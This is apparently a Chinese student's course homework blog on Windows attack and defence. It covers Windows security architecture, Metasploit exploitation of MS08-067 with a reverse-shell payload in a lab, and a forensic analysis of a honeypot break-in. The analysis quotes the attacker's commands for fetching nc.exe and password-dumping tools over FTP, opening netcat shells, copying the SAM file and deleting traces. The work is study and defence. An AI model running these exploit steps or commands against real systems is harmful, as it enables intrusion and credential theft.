zoukankan      html  css  js  c++  java
  • 20199115 2019-2020-2 《网络攻防实践》第七周作业

    20199115 2019-2020-2 《网络攻防实践》第七周作业

    1.实践内容

    Windows操作系统基本框架

    Windows操作系统的基本结构

    Windows操作系统内核的基本模块:

    • Windows执行体: 即Windows内核核心文件ntoskrnl.exe的上层接口, 包含基本的操作系统内核服务

    • Windows内核体: 即Windows内核核心文件moskrnl.exe中酌数实现与硬件体系结构支持代码,实现底层的操作系统功能

    • 设备驱动程序: 包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序, 以及文件系统与网络设备驱动程序

    • 硬件抽象层: 即hal.dll文件, 是用于屏蔽Windows 内核与平台硬件差异性的底层代码。

    • Windows窗口与图形界面接口内核实现代码: 即win32k.sys文件

    Windows操作系统在用户态的代码模块则包括如下:

    • 系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程

    • 环境子系统服务进程:为运行环境提供支持的服务进程

    • 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务

    • 用户应用软件:在用户态执行的各类用户应用软件

    • 核心子系统DLL:很多dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口

    Windows操作系统内核中实现了如下的核心机制:

    • windows进程和线程管理机制:进程可以看作是可执行程序运行的容器,Windows线程作为指令执行的具体载体

    • Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分

    • Windows文件管理机制:NTFS文件系统从ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率。Windows上的可执行文件采用PE(Portable Executable)格式

    • Windows注册表管理机制:注册表被称为Windows操作系统的核心,Windows系统注册表存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。在 Windows系统配置和控制方面承担着关键角色。

    • Windows的网络机制:1.各种网卡硬件的设备驱动程序,一般由第三方硬件厂商开发并提供,处于OSl参考模型的物理层。2.NDIS (Network Driver Interface Specification)库及miniport驱动程序,位千OSI链路层,为各种不同的网卡适配器驱动程序和TDI传输层之间构建了一个封装接口3.TDI,传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信4.网络API DLL及TDI客户端,会话层和表示层,独立于具体协议提供网络交互和实现方式5.网络应用程序与服务进程,对应OSI应用层,通常使用各类网络API DLL来实现网络交互与通信功能。

    Windows操作系统的安全体系结构与机制

    Windows安全体系结构

    • Windows操作系统基于引用监控器模型来实现基本的对象安全模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。

    • Windows系统安全体系结构示意图如下,最为核心的是SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。

    Windows身份认证机制

    • Windows操作系统中以安全主体概念来包含所有进行系统资源访问诸求的实体对象,有用户、用户组、计算机三类,用SID标识

    • Windows为每个用户和计算机设置账户(accounts)进行管理,并引入用户组来简化用户管理

    • Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中

    • 对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证

    Windows授权与访问控制机制

    • Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访间对象资源时的中介,根据设定的访问控制列表进行授权访问。windows会给用户一个安全访问令牌,进程执行操作是,继承了启动进程的账户所拥有的访问令牌。

    • Windows对于系统中所有需保护的资源都抽象成对象, 每个对象会关联一个SD安令描述符,主要由如下属性组成:

      • 1.Owner SID:对象所有者的SID安全标识符。

      • 2.Group SID: 对象所在基本用户组的SID安全标识符(兼容POSIX使用)。

      • 3.DACL自主访问控制列表:指明了哪些安全中体可以何种方式来访问该对象 。

      • 4.SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。

    Windows安全审计机制

    • 系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。

    Windows的其他安全机制

    • 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等

    Windows远程安全攻防技术

    Windows远程口令猜测与破解攻击

    • 服务:SMB协议,其他包括WMI服务、TS远程桌面终端服务,mysql数据库服务、SharePoint。

    • 工具:Legion、enum、smbgrind、NTScan、XScan、流光。

    • 窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。

    • 防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。

    Windows网络服务远程渗透攻击

    • 针对NETBIOS服务的攻击(Windows局域网联网的基本支持)。

    • 针对SMB服务的攻击。

    • 针对MSRPC服务的攻击(远程过程调用)。

    • 针对Windows系统上微软网络的远程渗透攻击。

    • 针对Windows系统上第三方服务的远程渗透攻击。

    • 防范措施:软件设计本身、尽快的更新漏洞、安装增强插件、启用入侵检测工具等。

    Windows本地安全攻防技术

    Windows本地特权提升

    • 溢出提权、windows错误系统配置、计划任务提权

    • 措施:及时打补丁、及时跟进厂家的安全警告

    Windows敏感信息窃取

    • 包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段

    • 防范措施:使用安全度高、能抵挡破解的口令

    Windows消踪灭迹

    • 主要手段包括、关闭审计功能、清理事件日志。

    • 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

    Windows远程控制与后门程序

    • 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。

    • 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

    2.实践过程

    实践一:Metasploit Windows Attacker

    任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

    攻击机:kali(192.168.200.2)
    靶机:Win2kServer(192.168.200.124)

    • 首先在kali中输入msfconsole进入Metasploit,进入到他的控制台界面(如果出现进不去的情况,请先执行sudo apt-get install metasploit-framework)。

    • 然后用命令search ms08_067search MS08-067 漏洞

    • use exploit/windows/smb/ms08_067_netapi表示使用MS08-067作为我们攻击的目标漏洞。选择攻击负载模块,通过命令set PAYLOAD generic/shell_reverse_tcp设置打开反向连接的载荷.设置攻击目标,通过命令set LHOST 192.168.200.2(攻击机kali的ip),设置目标操作系统,通过命令set RHOST 192.168.200.124(靶机Win2kServer的ip),设置攻击地址,平台类型set TARGET 0

    • 下来通过exploit发起攻击

    • 用命令exit -y退出

    实践二:取证分析实践:解码一次成功的NT系统破解攻击

    任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题。

    攻击者使用了什么破解工具进行攻击?

    攻击者如何使用这个破解工具进入并控制了系统?

    攻击者获得系统访问权限后做了什么?

    我们如何防止这样的攻击?

    你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

    攻击者使用了什么破解工具进行攻击?
    • 首先使用wireshark打开.log文件,根据题目筛选下ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106

    • 接下来我们找到编号117,发现攻击者打开了系统启动文件boot.ini,同时发现%C0%AF%C0%AF这样的字符,通过查询发现它是Unicode编码,猜想可能是这类攻击,我们继续探索。

    • 使用ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106&& http过滤时,发现出现多次的msadcs.dll,我们使用google搜索msadcs.dll,找到一个不错的漏洞搜索页面,故接下来我们的任务就是判断漏洞是MS02-065还是MS99-025,两者均是基于 MDAC RDS漏洞。

    • 我们不难发现ADM!ROX!YOUR!WORLD字符串出现的频率很高,通过查询,我们发现这是一个名为msadc2.pl工具发起的攻击

    攻击者如何使用这个破解工具进入并控制了系统?
    • 我们通过追踪TCP流发现,攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。

    • 之后出现了ftp的连接,目标IP为204.42.253.18。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。

    • 攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们直接筛选ftp连接,直到编号1106,我们发现此时才是连接成功的。

    • 接下来我们就找这个ftp连接之前,攻击者发送了什么指令吧。通过观察,可以发现这次的攻击不是RDS攻击,而是Unicode漏洞攻击。通过追踪TCP流,发现攻击者发送了以下指令。

    copy C:winntsystem32cmd.exe cmd1.exe
    cmd1.exe /c open 213.116.251.162 >ftpcom
    cmd1.exe /c echo johna2k >>ftpcom
    cmd1.exe /c echo haxedj00 >>ftpcom
    cmd1.exe /c echo get nc.exe >>ftpcom
    cmd1.exe /c echo get pdump.exe >>ftpcom
    cmd1.exe /c echo get samdump.dll >>ftpcom
    cmd1.exe /c echo quit >>ftpcom

    • 继续追踪tcp流,可以看到这样一条命令“cmd1.exe /c nc -l -p 6969 -e cmd1.exe”。表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。

    攻击者获得系统访问权限后做了什么?
    • 首先我们用条件tcp.port == 6969筛选一下,追踪TCP流,可以看到,攻击者修改各种文件,意图通过pdump、samdump、net命令、rdisk命令等方式提权为管理员,成功后还删除了ftpcom文件等痕迹。

    • 具体分析,攻击者向yay.txt的文件内写指令,应该就是为了获取最高权限的口令,攻击者尝试信息收集,net session(列出会话),但是没有权限,然后执行net users

    • 接下来攻击者发了一个echo消息到C盘根目录文件README.NOW.Hax0r

    • 接下来通过net session(列出会话),但是没有权限,然后执行net users, 返回该主机的用户列表,只有Administrators。接下来应该是在对用户组进行操作,应该是想将自己的账号添加进Administrators用户组,直接获得最高权限,但是使用的net group查看组用户、net localgroup查看本地组用户、 net group domain admins以及pdump来破解出口令密文都失败

    • 攻击者放弃了pdump提取Administrator口令密文的企图。攻击者删除了samdump和pdump。

    • 接下俩攻击者转而使用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行rdisk /s-(攻击者输了多次才找到正确的)备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。

    • 最后攻击者居然exit了,但是后面还有大量数据,再继续看看。。。攻击者在会话进行了Unicode攻击,并且重新建立了一个端口6968,执行指令为nc -l -p 6968 -e cmd1.exe

    • 接下来我们继续设置筛选条件tcp.port == 6968,追踪TCP流。

    • 我们发现攻击者首先将SAM文件拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但因为锁定没有成功。最后退出了这个shell连接。

    • 到这里还没有结束,数据包编号才到了大约4100的位置。我们发现攻击者在会话进行了Unicode攻击,并且重新建立了一个端口6868,执行指令为nc -l -p 6868 -e cmd1.exe

    • 可以发现攻击者创建了一个test.txt文件,内容为This can't be true,并echo . >> default.htm篡改了首页。随后exit退出了当前的shell,然后跟随这个数据包往下,我们可以发现有很多其他的IP地址访问了新创建的test.txt文件。

    • 顺着最后Exit的数据包往下,我们可以看到很多ftp服务,通过追踪流不难发现,攻击者应该是上传了得到的whisker.tar.gz文件,ftp服务结束,发现攻击者继续进行了一个Unicode攻击,指令为del ftpcom,也就是删除了ftpcom脚本文件,攻击者这一步是为了清除痕迹。到此,整个攻击也就结束了。

    我们如何防止这样的攻击?

    -及时修补漏洞,对漏洞打上相应的补丁。

    • 防火墙封禁网络内部服务器发起的连接。

    • 为 web server 在单独的文件卷上设置虚拟根目录。

    • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。

    • 使用 IIS Lockdown 和 URLScan 等工具加强 web server。

    你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

    • 攻击者发现了这是一台蜜罐主机,继续追踪TCP流就可以看到一行字,看到攻击者已经知道这是一台蜜罐主机。

    团队对抗实践:Windows系统远程渗透攻击和分析

    任务:

    • 攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。

    • 防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。

    • 过程和实践一攻击步骤一样,用wireshark来抓取查看下

    • 我们发现攻击机向靶机发了许多SMB数据包,而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。同时我们可以发现攻击机IP地址为192.168.3.19,防守方IP地址为192.168.3.33,防守方端口为445号。

    • 在攻击机输入ipconfig指令,在Wireshark捕获查看

    3.学习中遇到的问题及解决

    • 问题:基础知识太过薄弱,好多分析自己无法独立完成。。。

    • 问题解决方案:询问同学,查看同学博客,百度,能用的方法都用了【哭笑。。。】

    4.实践总结

    WinXP Metasploitable中的缺陷与安全漏洞情况(本书案例分析列表)
    漏洞类型 漏洞具体信息 攻击方式 Metasploit模块
    SMB服务MS08-067漏洞 MS08-067 网络服务渗透攻击 ms08_067_netapi
    IE浏览器MS11-050 Use after Free漏洞 MS11-050 浏览器渗透攻击 ms11_050_mshtml_cobjectelement
    IE浏览器MS10-018 Use after Free漏洞 MS10-018 浏览器渗透攻击 ms10_018_ie_behaviors
    KingView ActiveX堆溢出漏洞 CVE-2011-3142 浏览器插件渗透攻击 kingview_validateuser
    Office Word软件RTF栈溢出漏洞 MS10-087 应用软件文件格式渗透攻击 ms10_087_rtf_pfragments_bof
    Adobe PDF软件CoolType表栈溢出漏洞 CVE-2010-2883 应用软件文件格式渗透攻击 adobe_cooltype_sing
    Windows键盘驱动程序提权漏洞 MS10-073 本地特权提升攻击 ms10_073_kbdlayout
    Windows任务计划服务提权漏洞 MS10-092 本地特权提升攻击 ms10_092_schelevator

    内容感觉巨多,不多说了,还有别的作业没做。。。

    参考资料

  • 相关阅读:
    arcgis要素折点转点
    arcgis问题数据判断
    arcgis根据位置信息查找一个点周围的线(根据交点,查找)
    GIS算法-最短路径-连通性-网络分析-路径规划
    Arcgis直连SQLServer数据库,通过REST修改数据ArcMap中更新数据库数据不更新,数据不统一
    None和NULL
    ArcPy属性查询
    WGS84转gcj02
    ArcGIS Server跨域
    MySQL中数据类型宽度有什么用, INT(11)有什么意义?
  • 原文地址:https://www.cnblogs.com/dsqblog/p/12702013.html
Copyright © 2011-2022 走看看